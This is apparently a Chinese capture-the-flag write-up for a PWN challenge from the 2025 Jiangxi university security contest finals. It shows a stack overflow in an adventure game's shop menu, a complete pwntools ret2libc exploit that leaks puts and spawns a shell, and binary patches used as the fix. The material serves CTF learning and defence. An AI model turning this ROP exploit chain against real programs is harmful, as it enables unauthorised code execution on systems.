2025年江西省大学生信息安全技术大赛-决赛-PWN-gitlab 攻击 拿到附件直接分析,一道简单的ret2libc
主函数会先调用introduction()录入姓名,然后进行探险explore()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v3; char v5[512 ]; int v6; int v7; int v8; init(argc, argv, envp); v3 = time(0LL ); srand(v3); v6 = 100 ; v7 = 20 ; v8 = 0 ; puts ("Welcome to the adventure game!" ); introduction(v5); explore(v5); return 0 ; }
漏洞点位于explore()中的visitShop()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __fastcall visitShop (__int64 a1) { char buf[2 ]; int v3; puts ("You discover a shop in the ruins." ); puts ("1. Buy health potion (20 gold)" ); puts ("2. Buy a better weapon (50 gold)" ); puts ("3. Leave the shop" ); puts ("4. Exit" ); printf ("Input 1, 2, 3, or 4: " ); read(0 , buf, 0xc8u LL); (__isoc99_sscanf)(buf, "%d" , &v3); if ( v3 == 1 ) { if ( *(a1 + 0x204 ) <= 19 ) { puts ("You don't have enough gold to buy the health potion." ); } else { *(a1 + 0x204 ) -= 20 ; *(a1 + 0x200 ) += 30 ; puts ("You purchase a health potion and gain 30 health." ); } return visitShop(a1); } if ( v3 <= 1 ) { if ( !v3 ) return puts ("You enter the unknown forest...game over..." ); goto LABEL_17; } if ( v3 == 2 ) { if ( *(a1 + 516 ) <= 49 ) { puts ("You don't have enough gold to buy a better weapon." ); } else { *(a1 + 516 ) -= 50 ; puts ("You buy a better weapon and feel stronger!" ); } return visitShop(a1); } if ( v3 == 3 ) { puts ("You leave the shop and continue your adventure." ); return explore(a1); } LABEL_17: puts ("Invalid choice, try again." ); return visitShop(a1); }
printf("Input 1, 2, 3, or 4: "); read(0, buf, 0xc8uLL);此处存在栈溢出完全可以打ret2libc,没什么好说的直接上exp
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from LibcSearcher import * p = process("./pwn-awdp" ) e = ELF("./pwn-awdp" ) context(arch = 'amd64' ,log_level = 'debug' ) puts_got = e.got['puts' ] puts_plt = e.plt['puts' ] ph = lambda data : print (hex (data)) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 ::].ljust(8 ,b'\x00' )) psl = lambda data : p.sendline(data) pc = lambda data : p.recvuntil(data) pop_rdi = 0x00000000004010b3 ret = 0x00000000004006ae main =0x00000000400847 def bug (): gdb.attach(p) pause() def choice (idx ): pc("Input 1, 2, 3, or 4: " ) psl(str (idx)) p1 = b'1angx' pc("What should your character's name be: " ) psl(p1) choice(2 ) p2= b'\x01\x00\x00\x00\x00\x00' +p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main) pc("Input 1, 2, 3, or 4: " ) psl(p2) psl(b'\n' ) pc("You enter the unknown forest...game over...\n" ) puts_addr = uu64() ph(puts_addr)""" base = puts_addr - libc.sym['puts'] system = base + libc.sym['system'] binsh = base + next(libc.search(b'/bin/sh\x00')) """ libc = LibcSearcher('puts' ,puts_addr) base = puts_addr - libc.dump("puts" ) system = base + libc.dump("system" ) binsh = base +libc.dump("str_bin_sh" ) sleep(1 ) choice(2 ) p2= b'\x00\x00\x00\x00\x00\x00' +p64(0 ) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) pc("Input 1, 2, 3, or 4: " ) psl(p2) p.interactive()
修复 按理来说直接修改溢出点的字节大小就可以防住
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __fastcall visitShop (__int64 a1) { char buf[2 ]; int v3; puts ("You discover a shop in the ruins." ); puts ("1. Buy health potion (20 gold)" ); puts ("2. Buy a better weapon (50 gold)" ); puts ("3. Leave the shop" ); puts ("4. Exit" ); printf ("Input 1, 2, 3, or 4: " ); read(0 , buf, 2uLL ); (__isoc99_sscanf)(buf, "%d" , &v3); if ( v3 == 1 ) { if ( *(a1 + 0x204 ) <= 19 ) { puts ("You don't have enough gold to buy the health potion." ); } else { *(a1 + 0x204 ) -= 20 ; *(a1 + 0x200 ) += 30 ; puts ("You purchase a health potion and gain 30 health." ); } return visitShop(a1); } if ( v3 <= 1 ) { if ( !v3 ) return puts ("You enter the unknown forest...game over..." ); goto LABEL_17; } if ( v3 == 2 ) { if ( *(a1 + 516 ) <= 49 ) { puts ("You don't have enough gold to buy a better weapon." ); } else { *(a1 + 516 ) -= 50 ; puts ("You buy a better weapon and feel stronger!" ); } return visitShop(a1); } if ( v3 == 3 ) { puts ("You leave the shop and continue your adventure." ); return explore(a1); } LABEL_17: puts ("Invalid choice, try again." ); return visitShop(a1); }
但是不知道为啥必须得修改gameover函数(希望有知道的师傅可以和我交流交流qaq)
狠狠的被打烂了
1 2 3 4 5 6 7 8 9 10 11 .text:0000000000400FD2 call ___isoc99_sscanf .text:0000000000400FD7 mov eax, [rbp+var_8] .text:0000000000400FDA test eax, eax .text:0000000000400FDC jz short loc_40102E ;此处将jz改为jnz即jnz short loc_40102E .text:0000000000400FDE mov rax, [rbp+s] .text:0000000000400FE2 mov dword ptr [rax+200h], 64h ; 'd' .text:0000000000400FEC mov rax, [rbp+s] .text:0000000000400FF0 mov dword ptr [rax+204h], 14h .text:0000000000400FFA mov rax, [rbp+s] .text:0000000000400FFE mov dword ptr [rax+208h], 0 .text:0000000000401008 lea rdi, aGreatLetSStart ; "\nGreat! Let's start a new adventure!\n"
jz:为零则跳转,jnz: 非零则跳转
改完后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 __fastcall gameOver (__int64 a1) { int v2; char buf[2 ]; puts ((const char *)a1); puts ("\tGame Over, your adventure has come to an end." ); printf ( "You collected %d gold, had %d health remaining, and reached level %d." , *(unsigned int *)(a1 + 516 ), *(unsigned int *)(a1 + 512 ), (unsigned int )(*(_DWORD *)(a1 + 520 ) / 20 + 1 )); printf ("Do you want to play again? (1 for yes, 0 for no): " ); read(0 , buf, 2uLL ); __isoc99_sscanf(buf, "%d" , &v2); if ( v2 ) { puts ("Thank you for playing!" ); exit (0 ); } *(_DWORD *)(a1 + 512 ) = 100 ; *(_DWORD *)(a1 + 516 ) = 20 ; *(_DWORD *)(a1 + 520 ) = 0 ; puts ("\nGreat! Let's start a new adventure!\n" ); introduction((void *)a1); return explore(a1); }